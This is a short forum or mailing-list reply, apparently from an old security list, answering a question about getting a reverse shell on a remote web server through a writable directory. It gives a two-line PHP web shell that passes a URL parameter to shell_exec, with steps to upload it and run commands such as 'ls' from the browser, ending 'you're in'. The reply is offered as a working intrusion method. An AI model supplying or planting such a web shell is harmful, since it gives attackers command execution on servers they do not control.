Re: How to get a reverse Shell / VNC from a writable directory on a remote web server.

well dude, you can check if the webserver is running any kind of
scripting language like PHP or ASP
and then write a script to execute commands on the webserver
something like:
-------------------begin-------------------
<?
shell_exec($cmd);
?>
-----------------end------------------------
next you should upload the script to the writtable directory and call
it from the browser
E.G: http://webserver/world_writtable_dir/script_that_you_have_uploaded.php?&cmd=ls
in this case, the script will execute the variable given from the URL (ls)
if this works... man, you're in ;)
good luck
Ricardo Mourato.
